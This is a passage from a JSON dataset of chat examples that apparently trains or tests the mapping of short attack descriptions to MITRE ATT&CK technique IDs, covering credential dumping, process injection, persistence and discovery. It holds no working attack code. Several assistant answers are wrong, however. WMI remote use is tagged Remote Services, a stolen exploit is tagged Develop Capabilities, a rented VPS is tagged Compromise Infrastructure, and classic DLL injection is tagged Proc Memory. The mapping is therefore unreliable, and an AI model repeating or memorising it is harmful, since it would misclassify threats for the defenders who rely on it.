                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary spawns a legitimate process, replaces its memory with malicious code using transaction rollbacks, a classic Process Doppelgänging approach."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the StartMode of an existing service to ensure their payload runs on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a stolen KRBTGT hash to create a Golden Ticket, enabling persistent admin access to all services in the Windows domain."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker pulls credentials from the Windows Credential Manager using a PowerShell script that queries the CredEnumerate API."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a hardware debugger to dump securityd RAM and retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a window with the WS_EX_APPWINDOW style cleared, making the window invisible in the task switcher and taskbar."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a credential stuffing attack using lists of leaked passwords to gain access to multiple corporate employees’ social media profiles."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a vulnerability in the certificate management service to duplicate the TLS server certificate and its private key, enabling man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies a macOS application's code signature to make it appear legitimate, allowing it to bypass Gatekeeper's verification and execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through token manipulation, the attacker impersonates the local system account, enabling them to read and write protected files."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a compromised partner’s privileged service account to deploy ransomware across the victim’s critical systems."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the \"at\" command on a Linux host to schedule a script that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email prompts a user to run a PowerShell command that syncs the enterprise SVN repository to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses the Windows Management Instrumentation (WMI) to query and modify registry settings on another machine."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Chrome extension extracts saved login credentials from the browser's built‑in password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload triggers a kernel panic that forces the system to reboot into a state where the file system cannot be mounted, effectively destroying data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor automates login attempts with dictionary words to guess passwords on an SSH server."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the GitHub Search API to locate configuration files that contain plaintext Azure storage account keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealth malware dynamically generates domain names by iterating over a character set and applies DNS resolution to locate its control server."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group employs a phishing campaign with a fake login portal that captures users’ email usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes the snapshot capability of a Google Cloud VM to save a copy of the infected system."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code alters the registry to set the /SAFEBOOT parameter, forcing the OS to boot into Safe Mode and disabling defenses."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised update server delivers a trojanized version of the software client to end users."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a custom loader that overrides OS interrupt handlers, allowing malicious code to persist even when the process is stopped."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware logs keystrokes by hooking the Windows message loop of applications like Notepad and browsers."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved using regsvr32.exe to download and execute a malicious .ocx file from an external IP address, bypassing AppLocker policies."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a phishing kit on a compromised website to collect user login details."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a malicious BIOS update to overwrite the system firmware, causing persistent code execution even after OS reinstall."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware inserts filler characters into command strings to hide the actual commands being executed."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Emond rule is deployed to launch a C2 downloader each time the system detects a network connection event."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script executes a PowerShell command that calls 'Get-WmiObject Win32_NetworkAdapterConfiguration' to obtain the IP address and subnet mask."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script inspects the MAC address prefixes of network adapters to determine if they match known virtual NIC vendors."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors place a harmful template in the Microsoft Office startup folder, causing the payload to launch whenever any Office application is started."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python-based backdoor uses the shutil.make_archive function to zip harvested data."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code by corrupting the InLoadOrderModuleList structure of a system process, inserting a counterfeit entry that points to a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor manipulates group policy objects to enforce a weaker password policy, effectively downgrading authentication security."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute malicious scripts by leveraging legitimate system utilities as a proxy, allowing them to run code without directly invoking the malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use PowerShell's Get-Date cmdlet to obtain the current date and time on the victim."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a remote code execution vulnerability in a publicly‑facing web server to download and install a custom exploit toolkit for future attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited saved browser passwords for Facebook to log into the victim's account without triggering two‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a reverse shell to run \"ipconfig /all\" and capture the victim's IP address information."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtained a code signing certificate from a legitimate Certificate Authority by providing falsified business documents."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates extraction of saved passwords from the Safari keychain on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the Windows API FindFirstFile/FindNextFile to discover files on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑crime organization steals an exploit for a recently disclosed kernel vulnerability and uses it to gain deeper system access."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool uses standard MIME encoding (quoted‑printable) for exfiltrated emails."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a WordPress plugin, the adversary injects hidden SEO tags that cause a malicious landing page to appear prominently in search results for financial terms."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phone call, the attacker poses as a vendor support technician and pressures the victim to disclose their VPN password."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform a credential stuffing attempt on the company’s internal portal and, upon successful login, query the employee directory to gather names."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a trusted relationship by compromising a partner’s VPN credentials to infiltrate the target network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors deployed a malicious ADMX template that wrote credentials to the local system via GPP, leading to credential leakage."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary deletes the AWS CloudTrail event history to erase evidence of unauthorized IAM modifications."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript delivered via a compromised advertising network redirects the victim’s browser to a payload server, executing a ransomware installer."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed a custom tool that overwrote the event log files in C:\\Windows\\System32\\winevt\\Logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool inspects the /etc/resolv.conf file to find configured DNS resolvers."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a point‑in‑time snapshot of a hijacked cloud compute instance to later restore it after detection."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors distribute a maliciously crafted disk image that, when booted, executes a hidden command-and-control client."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts files from the victim's system and places them in a zip archive on the same machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script queried the SNMP service for the \"sysDescr\" and \"ifTable\" objects."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compresses data with gzip, then sends the compressed payload in 1 MB packets to avoid triggering size alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses protocol-specific queries (e.g., LLDP, CDP) to discover how devices are linked and to chart the network architecture."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the XDG autostart path to include a payload that executes during the login process on a Linux workstation."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leveraged stolen SSH keys to access the DNS server and modify zone transfers."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat utilizes a timed port knocking sequence over TCP and UDP, where only the correct order within a short time window will enable a hidden backdoor."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leveraged cmd.exe to launch the \"ipconfig /all\" command and gather network configuration details."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue script executes 'net accounts' and parses the output to identify active local user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injects malicious code into a running media player to exfiltrate media files by modifying its buffers."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary injects a DLL into svchost.exe using the WriteProcessMemory and CreateRemoteThread APIs."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors add a new domain user with duplicate SID to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals rented a disposable VPS, configured it as a C2 relay, and used it to proxy malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the terminal driver to log command-line input entered by users."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used Mimikatz to retrieve cached domain password hashes stored on the local machine."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group used a phishing campaign to install a Trojan that added the host to a botnet used for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employed an automated script to enumerate publicly exposed Office 365 OneDrive locations and copy the discovered data."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm propagates through the network and, upon infection, spawns thousands of threads on each host, depleting memory and causing the system to crash."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts password hashes from the NTDS.dit file on a domain controller using vssadmin and secretsdump."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
